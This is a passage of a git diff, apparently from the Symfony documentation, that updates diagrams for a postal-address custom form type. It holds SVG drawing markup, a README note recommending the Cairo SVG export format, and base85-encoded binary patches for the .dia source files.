xlink:href="#H" x="291.523" y="155.184"/><use xlink:href="#I" x="294.316" y="155.184"/><use xlink:href="#H" x="303.789" y="155.184"/><use xlink:href="#B" x="305.41" y="155.184"/><use xlink:href="#J" x="309.219" y="155.184"/><use xlink:href="#K" x="317.031" y="155.184"/><use xlink:href="#L" x="324.492" y="155.184"/><use xlink:href="#F" x="331.914" y="155.184"/><use xlink:href="#B" x="333.652" y="155.184"/><use xlink:href="#M" x="337.461" y="155.184"/><use xlink:href="#K" x="343.574" y="155.184"/><use xlink:href="#N" x="351.348" y="155.184"/><use xlink:href="#O" x="363.066" y="155.184"/><use xlink:href="#C" x="370.898" y="155.184"/><use xlink:href="#P" x="378.105" y="155.184"/><use xlink:href="#Q" x="386.016" y="155.184"/><use xlink:href="#B" x="392.305" y="155.184"/><use xlink:href="#P" x="396.113" y="155.184"/><use xlink:href="#C" x="404.023" y="155.184"/><use xlink:href="#N" x="411.23" y="155.184"/><use xlink:href="#A" x="422.949" y="155.184"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m48.115 24.842-3.462-.005" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M44.653 24.837c0-.125.125-.25.25-.25a.27.27 0 0 1 .25.251c0 .125-.126.25-.25.25a.269.269 0 0 1-.25-.25" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 184.79h102.399v23.85H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#n" x="76.09" y="203.039"/><use xlink:href="#o" x="86.109" y="203.039"/><use xlink:href="#o" x="95.016" y="203.039"/><use xlink:href="#p" x="103.922" y="203.039"/><use xlink:href="#q" x="109.781" y="203.039"/><use xlink:href="#r" x="118.336" y="203.039"/><use xlink:href="#r" x="125.328" y="203.039"/><use xlink:href="#s" x="132.32" y="203.039"/><use xlink:href="#t" x="136.422" y="203.039"/><use xlink:href="#u" x="141.285" y="203.039"/><use xlink:href="#v" x="145.777" y="203.039"/><use xlink:href="#q" x="154.762" y="203.039"/><use xlink:href="#s" x="163.316" y="203.039"/><use xlink:href="#R" x="167.418" y="203.039"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 175.516h408v40h-408zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 181.516v-6c-3.313 0-6 2.687-6 6zM605.309 181.516h6c0-3.313-2.684-6-6-6zM191.309 181.516h420v28h-420zM197.309 209.516h-6c0 3.312 2.687 6 6 6zM605.309 209.516v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 24.24h20.4M34.01 26.24h20.4M34.01 24.24a.3.3 0 0 0-.3.3M54.71 24.54a.3.3 0 0 0-.3-.3M33.71 24.54v1.4M54.71 24.54v1.4M33.71 25.94a.3.3 0 0 0 .3.3M54.41 26.24a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M190.809 219.934H413.91v21.25H190.81zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#S" x="190.809" y="236.184"/><use xlink:href="#O" x="199.324" y="236.184"/><use xlink:href="#C" x="207.156" y="236.184"/><use xlink:href="#z" x="214.363" y="236.184"/><use xlink:href="#y" x="219.734" y="236.184"/><use xlink:href="#N" x="224.676" y="236.184"/><use xlink:href="#A" x="236.395" y="236.184"/><use xlink:href="#P" x="243.836" y="236.184"/><use xlink:href="#y" x="251.746" y="236.184"/><use xlink:href="#F" x="256.688" y="236.184"/><use xlink:href="#B" x="258.426" y="236.184"/><use xlink:href="#E" x="262.234" y="236.184"/><use xlink:href="#T" x="268.309" y="236.184"/><use xlink:href="#U" x="276.121" y="236.184"/><use xlink:href="#y" x="280.027" y="236.184"/><use xlink:href="#A" x="284.852" y="236.184"/><use xlink:href="#F" x="292.293" y="236.184"/><use xlink:href="#B" x="294.031" y="236.184"/><use xlink:href="#T" x="297.84" y="236.184"/><use xlink:href="#P" x="305.652" y="236.184"/><use xlink:href="#U" x="313.563" y="236.184"/><use xlink:href="#y" x="317.469" y="236.184"/><use xlink:href="#F" x="322.41" y="236.184"/><use xlink:href="#B" x="324.148" y="236.184"/><use xlink:href="#J" x="327.957" y="236.184"/><use xlink:href="#T" x="335.77" y="236.184"/><use xlink:href="#U" x="343.582" y="236.184"/><use xlink:href="#V" x="347.488" y="236.184"/><use xlink:href="#D" x="351.688" y="236.184"/><use xlink:href="#U" x="359.48" y="236.184"/><use xlink:href="#P" x="363.387" y="236.184"/><use xlink:href="#W" x="371.297" y="236.184"/><use xlink:href="#F" x="379.07" y="236.184"/><use xlink:href="#B" x="380.809" y="236.184"/><use xlink:href="#X" x="384.617" y="236.184"/><use xlink:href="#K" x="393.055" y="236.184"/><use xlink:href="#K" x="400.828" y="236.184"/><use xlink:href="#z" x="408.602" y="236.184"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M148.91 268.29h27.399v23.85H148.91zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#Y" x="149.238" y="286.539"/><use xlink:href="#u" x="158.379" y="286.539"/><use xlink:href="#Z" x="162.871" y="286.539"/><use xlink:href="#aa" x="168.301" y="286.539"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 259.016h188v40h-188zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 265.016v-6c-3.313 0-6 2.687-6 6zM385.309 265.016h6c0-3.313-2.684-6-6-6zM191.309 265.016h200v28h-200zM197.309 293.016h-6c0 3.312 2.687 6 6 6zM385.309 293.016v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 28.415h9.4M34.01 30.415h9.4M34.01 28.415a.3.3 0 0 0-.3.3M43.71 28.715a.3.3 0 0 0-.3-.3M33.71 28.715v1.4M43.71 28.715v1.4M33.71 30.115a.3.3 0 0 0 .3.3M43.41 30.415a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M113.96 339.52h62.353v23.851H113.96zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#ab" x="114.883" y="357.77"/><use xlink:href="#ac" x="123.789" y="357.77"/><use xlink:href="#ad" x="128.555" y="357.77"/><use xlink:href="#s" x="137.461" y="357.77"/><use xlink:href="#Y" x="141.348" y="357.77"/><use xlink:href="#ae" x="149.941" y="357.77"/><use xlink:href="#o" x="158.848" y="357.77"/><use xlink:href="#q" x="167.754" y="357.77"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 330.242h108v40h-108zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 336.242v-6c-3.313 0-6 2.688-6 6zM305.309 336.242h6c0-3.312-2.684-6-6-6zM191.309 336.242h120v28h-120zM197.309 364.242h-6c0 3.317 2.687 6 6 6zM305.309 364.242v6c3.316 0 6-2.683 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 31.976h5.4M34.01 33.976h5.4M34.01 31.976a.3.3 0 0 0-.3.3M39.71 32.276a.3.3 0 0 0-.3-.3M33.71 32.276v1.4M39.71 32.276v1.4M33.71 33.676a.3.3 0 0 0 .3.3M39.41 33.976a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M477.309 259.016h128v40h-128zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M477.309 265.016v-6c-3.313 0-6 2.687-6 6zM605.309 265.016h6c0-3.313-2.684-6-6-6zM471.309 265.016h140v28h-140zM477.309 293.016h-6c0 3.312 2.687 6 6 6zM605.309 293.016v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M48.01 28.415h6.4M48.01 30.415h6.4M48.01 28.415a.3.3 0 0 0-.3.3M54.71 28.715a.3.3 0 0 0-.3-.3M47.71 28.715v1.4M54.71 28.715v1.4M47.71 30.115a.3.3 0 0 0 .3.3M54.41 30.415a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M422.512 268.29h37.8v23.85h-37.8zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#af" x="423.063" y="286.539"/><use xlink:href="#Z" x="431.852" y="286.539"/><use xlink:href="#ag" x="437.672" y="286.539"/><use xlink:href="#Z" x="445.934" y="286.539"/><use xlink:href="#q" x="451.754" y="286.539"/></g></svg>
diff --git a/_images/sources/README.md b/_images/sources/README.md
index 9e40e0ac884..8ca7538bf5d 100644
--- a/_images/sources/README.md
+++ b/_images/sources/README.md
@@ -27,6 +27,12 @@ Saving and Exporting the Diagram
 * Save the original diagram in `*.dia` format in `_images/sources/<folder-name>`;
 * Export the diagram to SVG format and save it in `_images/<folder-name>`.
 
+Important: choose "Cairo Scalable Vector Graphics (.svg)" format instead of
+plain " Scalable Vector Graphics (.svg)" because the former is the only format
+that transforms text into vector shapes (resulting file is larger in size, but
+it's truly portable because text is displayed the same even if you don't have
+some fonts installed).
+
 Including the Diagram in the Symfony Docs
 -----------------------------------------
 
diff --git a/_images/sources/form/form-custom-type-postal-address-fragment-names.dia b/_images/sources/form/form-custom-type-postal-address-fragment-names.dia
index aebdadb41701a5dbfc9f99f809b3ed9135447dc8..ca12fcdeadc0fbb8284f50fcfea9d02882ddd183 100644
GIT binary patch
delta 2563
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
Zvzrg)2m3S0{OQey{{#3*-tK?4008#P6gB_=

delta 2561
zcmV+c3jXz!6p|E>D}Qi^XN--E=`{N=zkRE0hY*4Zi7#AoK<O5wQlHB{=c{wRQ)U11
z>yKIFeGk$_n8epTf^g3Z;&Czw<LPzpzu$iUN%wxe`S8mm^nbQL)6}1N_Alav`*hvA
z%d+{;S6BD<_b6H|{47aP6fV&sxcbMBBLB)Zy6WA0@Vw0qCVzhByYI?x{VYqv(J~9X
z*q;U0y^%ludzvQ8c+x9cmF>n!l%(EwKf3OHyv<*|tFoJ`C;jZ{d+twzQ5yJvS9gu=
z%b2%xJrC0DZfEmk5!xo%YW}QAML+J}jW%Vgg>4j1Z$5tFAB#gOzj*9x*MU}oWHUdV
zhVgS8dv2oQM1N4EDW&#g2%`;FT#<)!@_M*Yw{TInaA~)2;bJ&X(k%7E>^bBpNut1y
z3)EXbS_E$gT8#b3+StBv)fmQYm}N;r11P>;yW4ABcbbNi{hs@zMMW?7;Uv2o{%GlR
z6}_)o>iv7T2uD${>*&KcYpnZKGu>}rot(ZO|GcI(6o0){&JPnEh(Nr4ewZ%9Nw9dq
z%$~NX=;^L(cJ<O(-)?v4i7CF?nyqt)$X^9%+5K;i^R!o9U^}s-%b@4^<1GCC@M+_m
zxaRXGXCN8<6^yfT_+K+Wp7`m+`^oz)`O$j}OKeaQPOf`@;FnH~?aq?p;<=g4leM8y
zjwq9~&wnw}f~vP$wF4WCc6sF34rCeyYdoS$JWSO<VnhUCeJK&;xQ15+Q7{{hlQe!3
zRJ1tY955%MeKf=b($Wr4NXa#kLdcqkcR@J4%l1yM0x_mIp~?^{Ep&}Rj*@f|q%RNC
zUPWBI2sfAzNoZ}*r_^&m<okw6{Vus5?g+7WPk+F<10Op77QS5V-oHo5{rJvLvr7La
zjrg}jj5FEi90|>7`~GeH*pzsT(}7Tk3vB(HB5q_C{@v7o5A<)FBnqjRWJXHCi7>7E
zH&K>Sh*nw~!k9hF`eOZi#N4|^b`Zx05(#zhu85>&DpGjCF!d+la<TuaQM2`WJL=q@
zOn+WTfbiRU&w?M>u1oYZBz)GY>T=|Iz*fsG@t{IF*n8;J`CAfayW!k#yjy=3Myu=I
zmv7!zKVEqM@zXT9?|F-C<>Ex$E4%reEYmPZH&5f+j%Npp>|zo`Wo{LM5Xy<AllsWp
z6H*07=aYnB$b~5NL7#j0PA}&Z_pT4;M}Ofoo&{BxJcyUG9S-pV*3NvSc9^k|MSOG4
zv!QO5VFqm?%wP;*#_g<Y=O(5)2s5-ZU5h7e8o||Ijjs_Qb@03Ap-+=Z8Z5jhj02CH
z5-H(##!7o^xK&mv;;If=iMGf}Rq9KAaL*m<@t{~8@idCweYVINqH!gNcC^YRHh-<t
zxWmIG9>HcHxTSOVStCKPX+K+RY`}+Qixi`$;W%qw4Z7Im@Od<M5y|0!yaBl(<c1d-
zg%wkRjlzWHkQ*K|H{^{56{hB-{)(VNltF~CK?N5`lLBAWn&Z3Yp|4pQ1exdODdM8<
zeL;U9Z<PG#dk)o)S9xD2#8$`48Gi}Y?!^V?HhB}WJGQE@ZD1?N8IPJXZqWO`!#LQH
zGm0kY-AQgjiN0_?XhiGu&N-5lv%YXE2*kj`Q>>(e=UnnSk#igmgLsk;?af2p(byiZ
zDcgz~$7ij6Ja1=3k{$K1;PE}qrW@#g7zOe4rDRex0dzppD%$Y0ia<&>DSxtCQ!<#D
z&O~<SX^QZ*$Sx=%nwfJI*(r$Z#~0am*f5Cf5HOv%$gY~qhb^rNs$^#(yT#*5$+gIC
zX<R5JyA#=K5BNZloq(tgqB@A`AgY6?z9p)=sEY~$GSx9fb=_1DL8W#}=tNhQ`W%lU
z$(^Xqkx?Ya*W|oJ^-psf;(s|~>U)c&h3I?BIJ6%|%P?|;+xKpxBuPP4KdP!;VcbAh
zkR+aps$RkGrV)O(p@Jx8>~4yt4|upJnr`5qThSDV`*_4%ZMB!B?wu`hH$`#;H!6iO
zgu7fCVxw4`v)m&-1(pMrd)=as9aal0cUde)nyTC8>Wf5J=}uxf$$uQ4K$y#-Zd>9r
zq0frtK8M)~%C*NW*H)M=lxraqKlM9k&_;t)jufUH)@wPEg31ABWxZC~<DgyEYwHg9
zuzD@QP_Ko0E!1lv!-RV6cD+_QR)Ko$QR}sYH6-X4ld9}U>UzKvrPTF^4^kIMU55+$
zRaOg9*JVjvyiuvkxPN6Lto<zt23enAeW8)WN)I;h4XuOUJ<I+1uP@%`WD<bfbpmqN
zbMpnc3*@d-m%Buxa+llv#YuN^m&GHT445h8E{PE%oOCF6)gAC*a+d_P3)C)9yCBH~
zwQF1LvQd{La68x*)vg1Ah(@-mbJcCl%;9a;%+`AxyQ-NrHh<v5f(Qjc1OyQfL_iP$
zK}5DS13<~_1WIPAp&){Gxo(mR#K^|F$qoE-TQ_MhQ3gu#ap{P{!bwn)&vOeSX=aZ)
zEpj4>J6iHk;t5kOd3eN!B@eLV;ZQZI+G=6R!(}abFio+XwNm%MK`MyogynKPh8QDa
zuz@dd9eiN9cYnrm6;=x@cb+U)ag%4-%yXg@G8n5qr^qPA+h5qF^2fL4c$Be$yBDo>
z4ri~1*U{HsahvBoW3Ff{ggZd3h=Kb&U-o^TtDLQo4Z~a_YGcrTzVnN+E`%>b4R?4-
zP%^OiLSd6X)qwMEoNdpTcQ@ww@o~k#*WTwn)oCNUJAVa6L=fJW95KaI>%O+eV~7i;
z20|mFWsWat9sKUYciVC1N5k^zG{c3{oSl(OgA5}3qeb?63>qSPP@Yd*d8UnQwiCiS
zAG6s4L7bWPA4k2$vojzubg+RhwV|NN0COM0+|^bK%zaVHGi_wEo!cS7+~zl%4QbK-
zPK`C5Kz~dMGT6WutPVb~+&f~qJyr`WcUdgg$bK{`?QH0jUy7uV9X$2y0goWXWWI`k
zD@}407)x`;3A$w+;Ju^q-X1#!-h;gS)bsLYo?vN^vOecTew!zEuvX#$k0N1=7`R8E
z5km7qhcx1hxxD<}m7&P+E{Nv9?8jS6QEk=0?0>-Qr_SuEp(x!($9dI36HL2^(hEF>
zw83=1B*J+aO&}~WJ!5A7UpRNS0UAdBD2Ra7j~TC5Sv0UZu==U6deuUtMs{$Bd@+u4
zEGsc?KVEkae8WoRJMN4WZW}-0hUED67o99b+B4?ejj74SOfD6Ll}PV%B~mjR39z*#
zEPC98gRyRZCDIy?+0aR=!3I7RT0uDn!lXlz-)gIcFzKQ;60l}A5*WmU%%^lCmFeOR
zu{I%;`KC~c`M`cwnC9k6H0@>|LG_S#H`X@%$TzVP0ujZTM-;_3E=8ETFN%+mzY5Zu
X55))jGfn;3&4>R3yQW{Yf3^SsFW(c5

diff --git a/_images/sources/form/form-custom-type-postal-address.dia b/_images/sources/form/form-custom-type-postal-address.dia
index 35a1eaebfd662ec9a9b3cb14c7f6a6eb8a78c552..1b7c6226315ee9d656f8441e40ca8351a89a8204 100644
GIT binary patch
delta 2022
zcmV<C2O0RA5S|c_8h@;t6m5Y50}Q4C+S$w|pe@GHRF(`$ZsN^+`%n+Z@k5Sc$+F{8
zMjA+Ectq;*+<VWZk`EsrCV}%y$B7?>mpusFo}<H2<oV(FviJ9oukS?f<JFrFp0D1U
zuW_s<j`@i&$<8i&cWF9(e{pete-DCrqS7b^fj<L@zW7fCfq%L%jV^juZye`o2cAk*
zcCEas(lqvmvs62wn&`{kP>p_$<7gIoy`ojwZWIMk?EF%}W$*26e)KNNZZ1~(+0pk@
zjrB0r>SuM=t~sRKr|YSX*Snoeqr^8&()o0wNku=|zfanftrF8H9ACZtMBWy+R9;y2
zwe3bLLDGqe$A5mfiDTv_C?)~{fe<p2L8Xu`Cmb&3<mGU~ZsCG%;o@%L{N!dD#c8bk
zbQ5wIMS)gffqJWgMDGujj8tH3Y}dFN4CB^M)2O8Z6qg^D+e?@3IQG5WD|e+uMKAZh
zm)_kx9B8_V-scDE{g<Ek!$5Dldp}HD>wex&_v=q5r+@F|k2kc2qPI%_;0aANeYt-a
z&wNiO&zRY2n~I+9%4QeO&H8$~x)W1eTJzR9M4;w6F1!D{^wUoHfQ@5`XS(O8QR@F%
zoIRP7tod|h2BP7=dX$#K|DLMQQ?ci~b3R88y=7Qpf)d}m?0s{en;O%dA;)CX%%;(!
zp&<gGB!7KK0fkuXZ`2vqaJX$jj?6g5fnLIq9F8z722>hY%KBKC%di2w4)o+^6vg36
zNO8E~=6E>^?cyLz0pgG$VO$--l2O?Z@lN~WyL6{-MSyZHxughE?s7^R1S(PN>G=6!
zx&XSx0f}@WWDqq5UFDq`VecLu{Vuw{*%DuG_kX_m>aFX1i-lZkZU4{@>666`%f$^_
zS==1BSg=0ifC$JBzq%KA3{WP~0AoO1oa1xW1V7CtX^SzeI*g50RS!PT7S>v>r54vw
zlB(d7=fyfnewgknGL4;MsSfv|Fx`%y{f~32CVnu#>|OtGzN;{C{!(!q-S?a%oo8;v
zIDdemn=jEU_I3PpUiZ77ExfWVqymV^?4S@L0wu)Fk=IT5g=V}T=q9;TCcm!R9L^*T
z<8Y#@9=Q%@lafeZfVDMz*&`UuZ*FsKEpG}p$!db&w`X$H29r|?TmkdI1=1$&wI-84
z;t_zc;Daal#BGA#J(FAFHpC5)$PPjY!G9c4)(vs*uv$ypCqdlxNbYM8-H+~6oL1(d
zxRr2~0qkbxA^?)?@FZvO5H0ZtLj!8!3uCW+Y_6N{9b}_z4Y+1H3V}-*$IPUnj1t&E
zI%+~T!Jyzmm}n7GOvKryqeGm18YtOeSTpZM*{7>$siACMtb&_ZdHyWf{nU_LJAd{^
zohr|JMyz*j46|1ZBYwB!vvd+B38gM!oy9Q3%RXlk!?cx4kv75%jDVELJW&WJk*Et*
zOz;fP1<YkKQ^j0_P==qy<gbZ`N<GX8{7^galvwF^)5LZd@p+|I$ZBG*O%r=QU8Jq>
zI0oF6G~-pskvuq$8$3o!JcQ(c5`Vz+a|8^X%fqLOtqr(dx@cfl<8gfW>gCyHhnwNt
zS!9PbdBY}$HaR@YC~V;pARs0?w8`NylS9^OP=Omd_4+|YfrkKrE*TICm>@YmY2@R(
z=b`Uutaa+BB1h~y*Wep)hS5Xc$xu}|&-=3FxTBThcG$LME1NT(%07xe{eMtz$r*VY
z^iBkTkfJ^!KoCd|PVa;ODsngq`5;4Q6!%e94;Q3K;2efGI`s09?LFcxjfsh85YHQ9
z-rxp})sLo!**<TEeN*uGj>RTg=>I0r;rO{^lC}X<BWa}_?pPA7s_Z79F~;7V%5F@U
zW4ct?DUh_uF6bkx?8vI@CuE?qZyK>x*=@vh;wrmrH6bPdVad8v*$IF`vZcz-01{2`
zU#zk>9dJ#R9a>f0s_Ir%x2n2T)z?+^>@CgJUk+e(s;*Ua=(ZF^6tXr4sH<9ij>iCD
znXH}(8ZyVH=yl2JpQe-V1s8t?Q50KU{g}FXm2q3XvRUG(ziHmetLE4Q3vS`FyQ!Nl
z@JLZNeS-hm>ZX>tkH_5AR%>5Sd_^xP)?hi*su;!q?{s$v1u|#3CBC#QXIbur`#v_U
z*0S7ru^euzberoh5^(8?E@C+<GCTnU7kIG1$1ZTW`>I}$`r@Z^Td)>AZo#&~bZx=b
zrs5}Fu!W@6AXS*un3J0ZCV#G1Y$ae4*^2FPE4H*HLBDXSvLmSrK00w(3i=CtD|K0^
ztG=LLWwlo7Ixne<wJCKO2Zkxahkr{!0zpvUz!EIQ;0Zj#P2jsHxqtq+cD_WOwrbb$
z)vhhpYt=5RcAdJ~#oJW7jOUlUJFzQ+Lu`O$sdW+Hq7J35rlYN=bbm1`bXlRx3SBn8
zv_jXK&}F_Oim4U44kvWg2q0Q{QJwH^%Vh>{rChdn!LhS)S!)BX7esIyMA#t01`#%h
zut7w+<^gQA>;$T1vZWvbcDZGe(9Cw1TP7FyuW-wxc|@sIk&jD9(C(SED)Q@meG$1W
z)d34#6?e4TVS$Ir-CGVze7oDh?slkO|EscEyW8Qcb~_;07RwQq{~=|`FztlpN<2v6
z;PF%d1e?HHlKag_uEJ<7$(<<46<4xwahhEyP6IX9@ztB+#C(loHMx58KllN^rgV(}
E0NDBfW&i*H

delta 2038
zcmV<S2MPF|5StK?8h;!&DcS-B1{ll~XlFB<fVLP%Q&}=3xrsOP?L$2rKjkQvEITe`
zq=giQN2D&#z4u%ydH>;Y5;#9~ocK|A-GjjGIXWCgo*#~{dw+lb@=o+V+`M`3`RX_G
zHICK9F+UL|+1YjPK24{;U0ppqJb+-Hs5FW};Lkv!ul`d(pntARqpRM{8^>Agz*DKp
zu9a6+n#TTcmTD(d6Mfwqs?m>e9L++nSF|eIjiMlmou4YW?!CRskKR?;&DB~zd-|TL
